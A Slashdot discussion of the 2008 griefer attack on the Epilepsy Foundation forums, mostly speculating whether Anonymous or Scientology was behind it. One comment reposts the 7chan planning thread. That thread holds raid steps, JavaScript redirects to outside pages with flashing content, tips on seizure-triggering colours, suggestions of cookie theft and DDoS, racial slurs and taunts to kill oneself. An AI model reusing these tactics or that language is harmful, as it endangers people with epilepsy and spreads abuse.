Griefers Assault Epileptics Via Message Board

An anonymous reader tips us to a story up at Wired reporting on what may be the first computer attack to inflict physical harm on victims. Last Saturday, griefers posted hundreds of bogus messages on the support forums of the nonprofit Epilepsy Foundation that used JavaScript and strobing GIFs to trigger migraines and seizures in users. For about 3% of the 50 million epileptics worldwide, flashing lights and colors can trigger seizures. "'I don't fall over and convulse, but it hurts,' says [an IT worker in Ohio]. 'I was on the phone when it happened, and I couldn't move and couldn't speak.' ... Circumstantial evidence suggests the attack was the work of members of Anonymous, an informal collective of griefers best known for their recent war on the Church of Scientology. The first flurry of posts on the epilepsy forum referenced the site EBaumsWorld, which is much hated by Anonymous. And forum members claim they found a message board thread — since deleted — planning the attack at 7chan.org, a group stronghold."

May or may not be the same Anons

[TheSpoom]

The members of Anonymous that did these hacks, if, in fact, that is who planned them, are likely not the same people protesting the Scientology organization.

One of the things about Anonymous that makes it different than most groups is that there are no real leaders and that, due to its very nature, nobody really knows anyone else in the group short of a few people that they might know outside the anonymous forums (this is because on a lot of the boards that Anon originated on, posters are forced to post anonymously, hence the name).

So it's really impossible to tell whether the people doing this are the same ones behind the masks at the protests.

Smear campaign by Scientology

[the_skywise]

count on it.

Re:Smear campaign by Scientology

[dosius]

Some Anons say there is but one Anon.

I express solidarity with the Anons who fight the CoS, but I refuse to accept the Internet Hate Machine as being the same Anonymous. It is why I said before and I say again: There are TWO Anonymous.

-uso.

Re:Smear campaign by Scientology

[WhodoVoodoo]

this is not true. There is not One or Two anonymous, there is NO anonymous.

It's not useful to associate "anonymous" as a group or entity. "Anonymous" is a completely chaotic, anarchistic, loose association. It is akin to race. There are (excuse this analogy) white people, and there are other white people who do bad things, and there are yet more white people who do good things. It is not useful to say "white people" are anything, except that "white people" came from europe and have a history of colonialism.

It is exactly the same with "anonymous". Anonymous is simply a subset of most people in the world who use the internet, and there is a subse tof them who do other things, and a subset of THEM who attack things, and a subset of this which may have assaulted an epilepsy board. But none of them are really related beyond circumstance.

The point is "anonymous" does not have any goals or means or anything. They don't even share interests, the only real connection is a mode of communication (and often web sites). Some anonymous coalesce to do things, like protest scientology or mess around on the internet, but they are not related except by modes of action. Attributing causal notions to this Anonymous is fallacy.

"No anonymous"

[pedantic bore]

OK, it sounds like "anonymous" is just a really poor spelling of "asshole".

Re:

[pedantic bore]

Call me an asshole if you wish, but at least I know what the words "paradigm" and "humanity" mean.

Agree! How can all anonymi be the same?

[KWTm]

Agree with parent. The whole point of being anonymous is that people don't know who you are. Now, one or more persons might specifically take on the pseudonym "Anonymous" (capitalized), but then that would only be applicable within a very specific context, and certainly it would be silly to say, "But *I'm* the *real* Anonymous!" Imagine a conversation like this:

A: "Someone suggested that taxes be raised. I didn't know who it was."
B: "Really? Someone whom I didn't know had suggested that taxes be lowered. Boy, this person that we don't know sure has trouble making up his mind!"

(Yes, I know that "anonymi" is not the correct plural. Yes, I know that "anonymous" is not spelled "anonymus". If the plural of "mouse" is "mice", perhaps the plural of "anonymous" is "anonymic"?)

Re:Smear campaign by Scientology

[brusk]

Except that one can choose to identify with anonymous or not; one has less choice about one's race (one can control one's own sense of identity somewhat, less how others perceive one).

Ghost in the Shell?

[tygerstripes]

Ooookay, anyone getting a "Ghost in the Shell - Stand Alone Complex" vibe from this whole thread? Seriously, if you were all in a virtual-reality chat room instead of /. this would be the Laughing Man discussion down to a T...

Re:Smear campaign by Scientology

[CyberData4]

...Says the Anonymous Coward. Grow up.

Close but no cigar

[dreamchaser]

Akin to the nigger race maybe..

More akin to the racist brand of Anonymous Coward.

Re:Smear campaign by Scientology

[Bert64]

Or could it be that, due to the original anonymous group against scientology being well, anonymous, they are easy to impersonate...
Thus, the second anonymous group attacking epileptics is actually compose of members of the church of scientology seeking to discredit the original anonymous group?

Re:Smear campaign by Scientology

[FredFredrickson]

Mod parent up- Fact is that "anonymous" means nobody knows who did it. So blaiming the people who are attacking scientology for an anonymous attack is the same as blaiming every crime whose perpetrator is unknown on the group protesting scientology.

It seems the only ones looking to benefit from making this connection would be the church of scientology itself, and this "article" just helps the scientology propaganda.

Re:Smear campaign by Scientology

[aurispector]

I think we can all agree that this incident is utterly and completely reprehensible. It's one thing for griefers to screw around with overly serious gamers or troll/flame discussion boards - no real harm done at the end of the day. To deliberately attempt to induce a seizure may be a criminal act.

Considering recent events it does not seem likely that "Anonymous" would do it - their campaign is meant to expose CoS's alleged misdeeds; an altruistic motive. Blaming "Anonymous" doesn't make sense in this context.

In these days of never ending spin and propaganda, the *first* thing to do when analyzing an event like this is to look carefully at who's ends are served by the fallout. The most likely culprits are either 1)some random asshole or 2)CoS. Of the two, who's ends are best served by this event?

Re:

[rtb61]

The catch with that logic is the anti-Co$ group is very clear about not wanting to attack or harm believers of Scientology, but to prevent harm coming to further victims. Co$ on the other hand has a well documented history of petty vindictive attacks, and having a total disregard for the harm it causes to others.

So based upon past patterns of behaviour, the anti-Co$ anonymous would be very unlikely (discounting no fixed members or control over members) to have attacked a third party, where as Co$ based up

Re:

[Anonymous Coward]

Normally, I would say that's an interesting theory, but come on. Anonymous doesn't need any help in that department.

Re:Smear campaign by Scientology

[TheSpoom]

This is more common than you might think; it has, in fact, been demonstrated that Scientology faked a bomb threat against themselves by Anonymous on YouTube earlier [youtube.com].

An extension of their most certainly not dead Fair Game [wikipedia.org] policy, which states that Scientology critics, or "Suppressive Persons (SPs)", "may be deprived of property or injured by any means by any Scientologist without any discipline of the Scientologist. May be tricked, sued or lied to or destroyed."

Scary stuff, especially for a group claiming to be a religion.

Re:Smear campaign by Scientology

[STrinity]

These aren't the real Anons. And no true Scotsman wears underwear beneath his kilt.

Re:

[emilper]

awesome ? this was kind of lame, you know ... like taking candy from children, stealing crutches from the crippled and painting the faces of the blind; if they are so great and powerful, they should organize duels among themselves.

  more likely stupid than "awesome" , if they are the same group that took on the CoS.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Re:

[HairyNevus]

So, basically true Anonymous are asshole douchebags?

Oh noes! I guess I'm gonna get pizzas delivered to my homepage now?

Re:Smear campaign by Scientology

[LrdDimwit]

This is not a juvenile prank. This isn't anything close to a juvenile prank, the same way swatting [typepad.com] isn't. A juvenile prank would have been subliminal flashing penises, not iterative deployment of effects specifically designed to be highly effective against many types of epilepsy. Thousands of people were affected, it was an ongoing attack that received several refinements to make it more effective, so it wasn't spur-of-the-moment either.

Someone not only came up with the idea of forcing people to have epileptic fits, but was evil enough to follow through with it. This is a serious disease, with serious detrimental effects, and it was perpetrated in a way designed to maximize exposure.

The perps need to be found, and need to be prosecuted. Bury them with one seperate count of (at the least) assault for every person who says they suffered epileptic attacks. If law enforcement can't nail these guys, then they may as well throw in the towel, because it means they lost. The bad guys win.

Re:Smear campaign by Scientology

[ins0m]

You bet. This sounds exactly like a false-flag attack to discredit Anonymous. They have already struck back once [godlikeproductions.com] after Anonymous sandbagged their servers with DDoS and Gigaloader attacks. Co$ has been twisted up since the 2/10 and 3/15 peaceful demonstrations. Now that the /i/nsurgents are under the tutelage of Gregg Hagglund, Tory Christman, and Mark Bunker, it's only going to be a matter of time before OSA kicks it into high gear to start tracking these kids down.

This is just a salvo of an upcoming battle, the likes of which Co$ hasn't ever seen before. So long as Anonymous can remain decentralized and have more than one forum to communicate, this could be interesting to see play out.

Re:Smear campaign by Scientology

[Anonymous Coward]

Are you effing kidding me? Discredit Anonymous?

Have you ever BEEN to 4chan or 7chan?

Re:Smear campaign by Scientology

[Lemmy Caution]

What's amazing is how not-new this lame adolescent misanthropic posturing really is.

Re:Smear campaign by Scientology

[hedwards]

This was largely my thought, how exactly do we know that these are actually people that are affiliated with that movement, and not just Scientologists looking to smear their adversary.

Or equally likely a random collection of griefers that hit on the idea of doing a threefer.

The "evidence" that they've cited at the end is extremely tenuous. It could be related to the Anonymous effort to end Scientology, some Scientologists themselves or just a random assortment of people looking to cause as much trouble as possible.

The thing that I kind of have to wonder about is why people with epilepsy would be cruising the net without pop up, javascript and gif blockers on. Even if there weren't an attack of this sort, there are plenty of sites on the net with animations and such which could very easily trigger these sorts of symptoms.

Re:Smear campaign by Scientology

[K8Fan]

Smear campaign by Scientology...count on it.

Agreed. Anyone who doubts that they are capable of doing this needs to read about "Operation Freakout" [wikipedia.org] a campaign to destroy the career and mental health of journalist Paulette Cooper. Scientology's goons stole her stationary and sent bomb threats. She was only cleared after voluntarily submitting to questioning by the FBI under sodium pentothal.

Re:Smear campaign by Scientology

[K8Fan]

This is the sort of thing that Anonymous does normally, though. Anonymous was not created for this anti-scientology crusade.

I know. It wouldn't make any sense to do something awful and attribute it to an enemy if the action is not plausible. But from what I understand, Anonymous' targets have been people who "offended" them in some way, or people so loathed by the general public that the majority will not object.

Anonymous attacking the "Church" of Scientology makes sense. Anonymous attacking random epileptics does not. Also, it's worth remembering that most epileptics are dependent on pharmacological treatment, and the "Church" claims that they can treat epilepsy without drugs. They are wrong, of course and have a body count to prove it [whyaretheydead.net].

Re:

[DarkSkiesAhead]

But from what I understand, Anonymous' targets have been people who "offended" them in some way

Anonymous attacking the "Church" of Scientology makes sense. Anonymous attacking random epileptics does not

I've gotta jump in here. There's a slew of slashdot posters defending Anonymous who are really ignorant of what's happened here.

Please look at the message boards being targetted. Gaiaonline.com. Go read the *chan message boards and read up on the longcat issue. Anonymous is pissed at Gaiaonline

Re:Smear campaign by Scientology

[popmaker]

All this might mean however, that people make the connection between "anonymous", the group that protests scientology, and "anonymous", the internet assholes that cause epileptic seizures. People might not stop to think about all this "no-organization-no-values" ideology and simply make the mental connection that "Anonymous" is just like any other group of people, and they just might now make the conclusion that they are BAD. Thus the whole anti-scientology effort is undermined. Because if a group of assholes protests something - do we have any idea if what they were protesting was bad or not?

It's the message that gets compromised, not the group, which - like you said - isn't really a group anyway.

Re:

[seebs]

I can't speak for the rest, but:

* I don't post to the chans, and never really got the point.
* I think this is pretty lame behavior, and wouldn't do it.
* I am active in protests and activism against the CoS.

I feel about this a little like I feel about the discovery that some Americans torture people to death. It's true, and I can hardly claim they're not really American, or that I'm not American. I also can't stop them or do anything about them, even though I really don't think they should do that.

I'm more

Re:May or may not be the same Anons

[seebs]

And I care why? I'm not anonymous. I'm just anti-CoS.

I'm no more required to hide my identity than I am required to participate in harassing epileptics.

Copy of 7chan instigation thread

[Anonymous Coward]

I saved a copy of the 7chan thread instigating the EFA attack before it was deleted. I had to mangle the formatting a bit to get it to post here on /., but here's the text (don't read if bad language offends you):

File: 120624198932.jpg-(7.37KB, 196x200, 3doitfaggot1frtbwrsgbds.jpg)
MIEN EYES Anonymous 08/03/22(Sat)20:13 No. 2501134
Epeleptic forum raid..
1) Make account. 2) Spam flashing gifs, party hard etc. 3) Troll the userbase. 4) ??? 5)PROFIT!! CURRENT TARGET:http://www.epilepsyfoundation.org/efforums/forum/
Precious Javascript Weapon:

window.location = "http://gilf.co.nr/myeyes"
//-->

ALWAYS WEAR A CONDOM!
>> Anonymous 08/03/22(Sat)20:14 No. 2501142 | this has potential for lulz and win.
>> Anonymous 08/03/22(Sat)20:16 No. 2501165 | anon armed and ready.
>> Anonymous 08/03/22(Sat)20:22 No. 2501208 | First good fucking idea I've seen in days. I'll be right over there once I'm done fapping on my bosses desk.
>> Anonymous 08/03/22(Sat)20:23 No. 2501214 | Good principal, probably won't work in practice.
>> Anonymous 08/03/22(Sat)20:23 No. 2501217 | this is relevant to my interests
>> Anonymous 08/03/22(Sat)20:25 No. 2501231 | Wait, their forums support Javascript? That means...they support HTML? FUCK this will be too easy
>> Anonymous 08/03/22(Sat)20:30 No. 2501289 | Haha. Holy fucking shit. I wrote that code...fuck that, Anonymous wrote that code. For Anon By Anon. The Javascript is a nice touch...I'ma go flood that shit now.
>> Anonymous 08/03/22(Sat)20:32 No. 2501296 | >>2501134 }} oh wow, thats gotta be the best idea ive ever heard, well done.
>> Anonymous 08/03/22(Sat)20:36 No. 2501322 | File: 120624335935.jpg-(67.39KB, 850x719, FreeInternet.jpg) By the time I got there, you have all already filled it with seizurebait. GOOD FUCKING JOB, ANONS, WELL PLAYED.
>> Anonymous 08/03/22(Sat)20:37 No. 2501337 | I laughed really hard.
>> Anonymous 08/03/22(Sat)20:38 No. 2501346 } someone get a cookie stealing script and post it on a legit thread, then hack the whole thing, give it epic flashing index.
>> Anonymous 08/03/22(Sat)20:38 No. 2501352 | File: 120624350150.jpg-(32.28KB, 1138x48, 1206240592977.jpg) >> Anonymous 08/03/22(Sat)20:39 No. 2501360 | >>2501352 }} lol'd
>> Anonymous 08/03/22(Sat)20:39 No. 2501366 | /r/ sticky
>> Anonymous 08/03/22(Sat)20:42 No. 2501388 | File: 120624374380.jpg-(5.90KB, 1030x41, epilepsy.jpg) also, requesting sticky
>> Anonymous 08/03/22(Sat)20:42 No. 2501395 | >>2501352 }} I fuckin lol'd hard
>> Anonymous 08/03/22(Sat)20:43 No. 2501400 | This is evil ;_;
>> Anonymous 08/03/22(Sat)20:43 No. 2501403 | OH GOD HOW DID I GET HERE IM NOT GOOD WITH COMPUTER
>> Anonymous 08/03/22(Sat)20:44 No. 2501409 | >>2501134 }} Hi I'm going to hijack your thread nao. Where did the Do It spider expert originally come from? Sadly despite months of lurking moar I have yet to figure out where I've seen this bitch before.
>> Anonymous 08/03/22(Sat)20:44 No. 2501412 | The name pedrobear made me lol. +1 internet to whoever that is
>> Anonymous 08/03/22(Sat)20:44 No. 2501413 | this isn't funny my brother did that way. Also, sticky this, plox.
>> Anonymous 08/03/22(Sat)20:44 No. 2501418 | >>2501413 }} died* I fail.
>> Anonymous 08/03/22(Sat)20:47 No. 2501435 | I haert u so hard anon lol.
>> Anonymous 08/03/22(Sat)20:47 No. 2501436 |
window.location = "http://www.hey.doyouhaveepilepsy.com/"
//-->

Even better script
>> Anonymous 08/03/22(Sat)20:47 No. 2501438 | Ah god, I love you evil bastards.
>> Anonymous 08/03/22(Sat)20:48 No. 2501450 | Is somebody DDoSing it too, cause it's getting slow as fuck
>> Anonymous 08/03/22(Sat)20:48 No. 2501451 | Best raid ever. This is the kind of revival Anon needs
>> Anonymous 08/03/22(Sat)20:49 No. 2501458 | RED IS THE WORST COLOR FOR EPILEPTICS. FUCK THE BLACK AND WHITE SHIT
>> Anonymous 08/03/22(Sat)20:50 No. 2501463 | >>2501450 }} We should. Where's the original or biggest thread right now, I want to see what anon is planning.
>> Anonymous 08/03/22(Sat)20:54 No. 2501507 | STICKY
>> Anonymous 08/03/22(Sat)20:55 No. 2501512 | wut
>> Anonymous 08/03/22(Sat)20:56 No. 2501518 | DO NOT tell niggertits. they will fuck up everything
>> Anonymous 08/03/22(Sat)20:58 No. 2501533 | ahaha. this reminds me of my friend's ex. she's epileptic and we were eating a meal and i found out and i say "oh, I should have sent you WTFOMG". and she blocked me/stopped talking to me. ho ho ho
>> Anonymous 08/03/22(Sat)20:59 No. 2501536 | interesting that the epilepsy logo is red. i thought people had problems with that. guess not.
>> Anonymous 08/03/22(Sat)20:59 No. 2501538 | File: 120624476973.jpg-(11.30KB, 400x270, epic.jpg) THE LULZ I CANT STANDS IT. anon, you've outdone yourself with this one.
>> Anonymous 08/03/22(Sat)21:00 No. 2501547 | File: 120624482827.jpg-(28.63KB, 200x200, scruffy-second.jpg) >>2501518
>> Anonymous 08/03/22(Sat)21:01 No. 2501562 | I laughed so fucking hard . omg
>> Anonymous 08/03/22(Sat)21:03 No. 2501568 | >>2501538 }} YOOOOOOOOOOOOOOOOU WAAAAAAAAAAN IIIIIIIIIT AAAAAALLLLLL BUUUUT YOOOOOUN CAAAAAAAN 'T HAAAAVE IIIIIIT!
>> Anonymous 08/03/22(Sat)21:03 No. 2501570 | internet superheroes
>> Anonymous 08/03/22(Sat)21:04 No. 2501576 | STICKY PLEASE
>> Anonymous 08/03/22(Sat)21:04 No. 2501578 | Holy shit anon, I've been ignoring this thread for the last couple hours thinking it raid fags...I was wrong. Excellent work.
>> Anonymous 08/03/22(Sat)21:04 No. 2501582 | /r/ thread of relevance on the forum
>> Anonymous 08/03/22(Sat)21:05 No. 2501583 | File: 120624510295.jpg-(11.81KB, 200x198, 200px-Faith_No_More_-_Epic.jpg) >>2501568 }} BAWWWWWW
>> Anonymous 08/03/22(Sat)21:05 No. 2501586 | >>2501578 }} same here. I don't think its funny though, seizures must be fucking terrible to experience. Fuck you guys.
>> Anonymous 08/03/22(Sat)21:05 No. 2501587 | >>2501582 }} Scratch that. I saw "pedrobear", lol'd, and realised.
>> Anonymous 08/03/22(Sat)21:06 No. 2501597 | >>2501586 }} GB2/XENU/ MORALFAG
>> Anonymous 08/03/22(Sat)21:06 No. 2501598 | 20 views. I fucking lol'd. Enjoy your seizures.
>> Anonymous 08/03/22(Sat)21:07 No. 2501613 | >>2501586 }} BAAAAAAAWWWW
>> Anonymous 08/03/22(Sat)21:08 No. 2501617 | Gaia Liberation Front made me lol
>> Anonymous 08/03/22(Sat)21:08 No. 2501624 | Internet Superheroes indeed, Anon.
>> Anonymous 08/03/22(Sat)21:08 No. 2501626 | File: 120624532146.jpg-(44.57KB, 562x600, bill-clinton.jpg) >>2501597 >>2501613
>> Anonymous 08/03/22(Sat)21:10 No. 2501640 | WHICH spider expert SIGNED UP AS 7CHAN?
>> Anonymous 08/03/22(Sat)21:10 No. 2501642 | Someone go post this on 420chan's newly revived /i/.
>> Anonymous 08/03/22(Sat)21:10 No. 2501645 | i love you anon bahahah
>> Anonymous 08/03/22(Sat)21:10 No. 2501646 | >>2501586 }} Allowing JavaScript and HTML that lets you produce flashing or colors is just a practical joke waiting to happen. Warning the admins might have worked, but that would be less lulzy. (Similar to how I warned the owner of a profile web site (not to be named) that you could read user's inboxes and delete things, but he ignored me, so I just fucked about with people's accounts, read his e-mail, etc.)
>> Anonymous 08/03/22(Sat)21:10 No. 2501647 | >>2501586 }} gtfo /b/, you stupid pussy.
>> Anonymous 08/03/22(Sat)21:10 No. 2501648 | who the fuck made a thread called 7chan owns you?
>> Anonymous 08/03/22(Sat)21:11 No. 2501656 |
window.location = "http://www.internetisseriousbusiness.com/"
//-->

>> Anonymous 08/03/22(Sat)21:11 No. 2501658 | File: 120624550922.jpg-(47.52KB, 461x303, picard-facepalm.jpg) >>2501640 }} Oh, what a fucking moron. Jesus christ.
>> Anonymous 08/03/22(Sat)21:12 No. 2501667 | http://www.epilepsyfoundation.org/efforums/forumAnonymousssageview.cfm?catid=12&threadid=63532&enterthread=y [epilepsyfoundation.org] you missed a page. rockin4jesus says we're gonna get smitten, or something.
>> Anonymous 08/03/22(Sat)21:12 No. 2501670 | >>2501648 }} Way to ruin it you fucking åé¦(TM)è .
>> Anonymous 08/03/22(Sat)21:12 No. 2501671 | >>2501208 }} lol, busy day? >>2501450 }} someone? now who could that be? >>2501586 }} my friend has seizures and he loves it.
>> Anonymous 08/03/22(Sat)21:13 No. 2501673 | File: 120624558746.jpg-(5.73KB, 100x100, 100100bang.jpg) >>2501648 }} god damnit. the lulz are over. way to go idiots.
>> Anonymous 08/03/22(Sat)21:13 No. 2501676 | >>2501648 }} Whoever it is should kill themselves.
>> Anonymous 08/03/22(Sat)21:14 No. 2501685 | Does it clean out the topic titles? If you could get the forum directories themselves to redirect somewhere without the people even going into a thread, that would be even more fucking win.
>> Anonymous 08/03/22(Sat)21:14 No. 2501687 | File: 120624564722.jpg-(15.56KB, 293x300, michael_j_fox.jpg) This is an outrage. WE ARE GOING TO FIND YOU AND MAKE YOU PAY FOR THIS. I DON"T HAVE EPILEPSY, BUT CLOSE ENOUGH. YOU BASTARDS.
>> Anonymous 08/03/22(Sat)21:14 No. 2501690 | File: 120624566262.jpg-(97.80KB, 1261x505, niggertits.jpg) Oh wow.
>> Anonymous 08/03/22(Sat)21:14 No. 2501696 | File: 120624568498.jpg-(22.10KB, 300x418, love_hearts_lrg.jpg) >>2501667 }} 1. struck, as with a hard blow. 2. grievously or disastrously stricken or afflicted. 3. very much in love.
>> Anonymous 08/03/22(Sat)21:15 No. 2501704 | looks like someone told NIGGERTITS and they decided to fool them into thinking 7chan did it.
>> Anonymous 08/03/22(Sat)21:15 No. 2501705 | PREPARE FOR SHITSTORM. FULL THROTTLE CAPTAIN
>> Anonymous 08/03/22(Sat)21:15 No. 2501707 | >>2501690 }} :|
>> Anonymous 08/03/22(Sat)21:15 No. 2501711 | >>2501673 >>2501670 >>2501648 >>2501658 }} see: >>2501690
>> Anonymous 08/03/22(Sat)21:16 No. 2501722 | >>2501690 }} 4ailchan does what it does best. fail
>> Anonymous 08/03/22(Sat)21:17 No. 2501725 | File: 120624584463.jpg-(137.16KB, 800x600, arthur-conan-doyle-sherlock-holmes.jpg) >>2501711 }} no shit sherlock
>> Anonymous 08/03/22(Sat)21:17 No. 2501729 | File: 120624585737.png-(161.04KB, 1083x857, killyourselves.png) Those marked in read should FUCKING KILL YOURSELVES.
>> Anonymous 08/03/22(Sat)21:17 No. 2501732 | Time to request partyhard mode to drive away incoming cancer?
>> Anonymous 08/03/22(Sat)21:18 No. 2501740 | >>2501687 }} mj has Parkinson's you sage not epilepsy.
>> Anonymous 08/03/22(Sat)21:18 No. 2501744 | >>2501690 }} Oh. Well played, NIGGERTITS. Well played. Thread over.
>> Anonymous 08/03/22(Sat)21:19 No. 2501746 | >>2501732 }} seconded
>> Anonymous 08/03/22(Sat)21:19 No. 2501753 | >>2501740 }} READ THE TEXT
>> Anonymous 08/03/22(Sat)21:19 No. 2501754 | >>2501732 }} Good idea.
>> Anonymous 08/03/22(Sat)21:20 No. 2501762 | >>2501740 }} facepalm.jpg
>> Anonymous 08/03/22(Sat)21:22 No. 2501769 | >>2501732 }} Time to request partyhard mode to drive away incoming Epileptic cancer trying to raid us back? Fix'd
>> Anonymous 08/03/22(Sat)21:22 No. 2501773 | I would suggest making threads saying "NIGGERTITS owns you" etc, but lets not stoop to their level.
>> Anonymous 08/03/22(Sat)21:22 No. 2501776 | Demanding party hard to drive out 4ailfags.
>> Anonymous 08/03/22(Sat)21:23 No. 2501778 | anonym.to/http://www.epilepsyfoundation.org/efforums/forumAnonymousssageview.cfm?catid=2&threadid=64827&enterthread=y :D
>> Anonymous 08/03/22(Sat)21:24 No. 2501785 | PARTY HARD NAO
>> Anonymous 08/03/22(Sat)21:24 No. 2501788 | Oh WOW. I clicked into one of Pedrobear's posts. Party Hard mode has become an online weapon of mass destruction! I'm crying /b/. I.... *sniffle* I just love you guys..... *sob* so much!
>> Anonymous 08/03/22(Sat)21:25 No. 2501795 | File: 120624634649.gif-(46.35KB, 300x100, rotate.php.gif) the kids at f4al chan are talking about this lolo. we rock
>> Anonymous 08/03/22(Sat)21:26 No. 2501802 | epic win.
>> Anonymous 08/03/22(Sat)21:29 No. 2501825 | That forum's already fucking toast. Anyone have the Gnarls Barkley "Run" video?
>> Anonymous 08/03/22(Sat)21:30 No. 2501828 | So... much... fucking... win... I love you, /b/. Also, /r/ing PARTY HARD as well.
>> Anonymous 08/03/22(Sat)21:31 No. 2501838 | delicious premise
>> Anonymous 08/03/22(Sat)21:33 No. 2501851 | I can't wait till you they report you fags and arrest you guys for attempted murder.
>> Anonymous 08/03/22(Sat)21:35 No. 2501869 |
window.location = "http://www.worldspace.nu/=/anon_partyhard2.swf"
//-->

>> Anonymous 08/03/22(Sat)21:37 No. 2501884 | File: 120624704375.jpg-(182.94KB, 1280x800, lulz.jpg) dont open posts guyz! oh my eyes!
>> Anonymous 08/03/22(Sat)21:37 No. 2501886 | Hai guise how come whenever I go to my epilepsy support forum I feel like I'm gonna have a seizure?
>> Anonymous 08/03/22(Sat)21:38 No. 2501892 | >>2501851 }} SEIZURE V& COMING TO GET YOU.
>> sage Anonymous 08/03/22(Sat)21:39 No. 2501905 | withdraw forces and sage
>> Anonymous 08/03/22(Sat)21:43 No. 2501953 | wow this is one of the most ridiculous things I've ever seen. but it's funny as hell.
>> Anonymous 08/03/22(Sat)21:43 No. 2501954 | Funny. But if you fucks screw up 7chan for me I swear to god I will...
>> Anonymous 08/03/22(Sat)21:45 No. 2501971 | File: 120624752145.jpg-(52.48KB, 750x600, sudepmotivator.jpg) LOL in the sticky at the top of the SUDEP forum!
>> Anonymous 08/03/22(Sat)21:45 No. 2501972 | i wonder if there will be any fallout?
>> Anonymous 08/03/22(Sat)21:48 No. 2501996 | File: 120624771497.jpg-(7.62KB, 149x200, Nousign.jpg) >>2501905 }} pathetic.
>> Anonymous 08/03/22(Sat)21:50 No. 2502027 | File: 120624785530.jpg-(132.24KB, 685x569, stop hammertime.jpg) STOP. Tis be the time of Hammer
>> Anonymous 08/03/22(Sat)21:52 No. 2502042 | >>2501972 }} lol NO. however many failchanners poast "7chan.org OWNZ U!!1!". This is an ebaums attack. As long as we're all clear on that point and honest when questioned, they can't pin a rap on us for what those ebaums hooligans have done.
>> Anonymous 08/03/22(Sat)21:55 No. 2502088 | Aids? I haz teh epilipsy
>> Anonymous 08/03/22(Sat)21:58 No. 2502115 | File: 120624831794.jpg-(66.11KB, 663x647, whosonprofile.jpg) OH LAWD. can it be raid liek cancer tiem nao? commencing spread outside of forum and into personal accounts.
>> Anonymous 08/03/22(Sat)22:00 No. 2502130 | File: 120624843216.jpg-(99.86KB, 750x600, Steroids.jpg) >> Anonymous 08/03/22(Sat)22:04 No. 2502178 | Giant FS Michael J Fox gif anyone? You spider fuckers breaking rules 1 & 2 are niggering it.
>> Anonymous 08/03/22(Sat)22:05 No. 2502183 | File: 120624875233.jpg-(76.82KB, 640x644, hatemachine.jpg) >>2502115 >>2502130 }} Firin' up the Hate Machine!
>> Anonymous 08/03/22(Sat)22:11 No. 2502236 | Can we start combing the site for emails for lulz at a later date?

Re:Maybe scientology did it ?

[zijus]

Hello
I couldn't help a loud laugh out while RTA. Again now: lol ! :-) The first thing comming to my mind is : "Attack on epileptics is quite nuts. But spreading a rumour that it's an anti-scientology group who did without solid justifications is completely nuts. That sounds tortuous enough to come from pro-scientology people". I mean scientologist are so twisted and ready to harass by any means the ones against them, that they could well have perpetrated all that. Regretfully this scenario matches pretty w

Re:

[HappySmileMan]

Quite possibly this, all they'd really have to do it post on /i/ saying "LOL lets raid these forums" along with a link and a lot of people would do it without any serious work from CoS

Re:

[makomk]

It's not like the fact that they always blame ebaumsworld is obscure or hard to find out. Also, there are almost certainly Scientologist members of Anonymous, have been since before the CoS raids. Even if it wasn't for this, I'd be very suprised if they hadn't put effort and time into investigating and monitoring the *chans.

Re:

[Fulcrum of Evil]

No, they are evil and also stupid, but they have a lot of time on their hands, and not much to do.

Anonymous, or the Hubbardistas?

[Naughty Bob]

I am no supporter of Anonymous, but isn't it convenient for the Scientologers that their new-found enemy should suddenly be suspected of a such certoonishly evil assault.

Two particular L. Ron Hubbard quotes are especially instructive in this regard-

We are slowly and carefully teaching the unholy a lesson. It is as follows: We are not a law enforcement agency. BUT we will become interested in the crimes of people who seek to stop us. If you oppose Scientology we promptly look up - and find and expose - your crimes. If you leave us alone we will leave you alone.

And-

Never discuss Scientology with the critic. Just discuss his or her crimes, known and unknown.

Certainly makes you wonder...

Also, Epileptics need to build themselves a Firefox plugin that'll detect any harmful behaviour, and block it Adblock-style. As the tech progresses this plugin could even be integrated into special sunglasses.... [hhgproject.org]

I have a true Scientology story....

[Izabael_DaJinn]

A few months ago when that crazy Tom Cruise video first appeared I wrote a comment about it on DailyMotion making a joke about Scientology. The next day our office phone number (listed at our registrar) had a call (on the caller ID) from the Church of Scientology the very next day. No one was around to answer and no one called back, but it can hardly be a coincidence since it was the first time before and after we ever had a call from them!!

In other words, I do believe they would do something like you are suggesting.

I also would expect another phone call from them tomorrow for this post :~(

Re:

[Naughty Bob]

I was sorely tempted to post anonymously (not the flashing lights kind) when writing the post.

But bullies don't stop if you run away.

Re:I have a true Scientology story....

[JWSmythe]

Was it something like...

    How many Scientologists does it take to screw in a lightbulb?

    damn, I don't have a punchline for that.

    I'm personally entertained that they *won't* talk to me.

    I was looking for work, and there was a scientologist owned company (the owners were scientologists, they weren't "owned" by the organization). My reasoning was, I've worked for a lot of different people who haven't converted me to or from anything, if they're paying a paycheck, I'll work for them.

    I showed up for the "interview", and was told there were some papers I needed to fill out. Fine. For past interviews, I've filled out application forms, NDA, etc, etc.

    They walked me into their conference room, and put a test in front of me. No big deal, Rackspace gives a personality test as part of their process too. I caught the L. Ron Hubbard name at the bottom, and I had spotted books on Management for Scientologists in the office, but this wasn't quite what I expected for an INTERVIEW. I caught the name of one of the tests on my camera phone while taking the tests.

    I'll summarize the tests as, they were a crappy excuse for personality and IQ tests, almost blatantly testing to if I would be easily converted to their cause.

    After I got home, I started researching what these tests were, both from questions I remembered, and from the name I caught on my phone.

    As I discovered, there are different scoring levels. Basically, the low end is people who are stupid and easily bent, but not worthwhile. The middle 80% is their target audience, with varying levels in the middle. The high end is where I'm sure I landed. While my personality is glowing in person, I'm not easy swayed to things without substantial facts and personal research. :) This high end, they are specifically instructed to have absolutely NO further contact with the individual. Hmmmm, how sad.

    Since they didn't reschedule the actual interview where I could talk to the boss (not just the receptionist/secretary), I emailed a week later just asking for my scores, out of curiousity. No response. Another week later, I asked again, no response. So I gave up.

    Really, it makes sense. If I got the job there, I may let them tell me all about Scientology, but I'm going to start poking holes in it, and eventually some or most of the people working there are going to start questioning things. You don't need blind faith disciples questioning things. Blind faith is a great thing until it's questioned.

    Hey guys, no offense. Everyone believes something, even if they believe in nothing.

Re:I have a true Scientology story....

[Strange Ranger]

How many Scientologists does it take to screw in a lightbulb?

If the lightbulb spends enough money, it will eventually be told that it is already screwed in, everyone else is just too blind to see it.

Re:

[kesuki]

Anon and CoS activity really isn't fundamentally what Anon was founded for, it was founded for griefers.

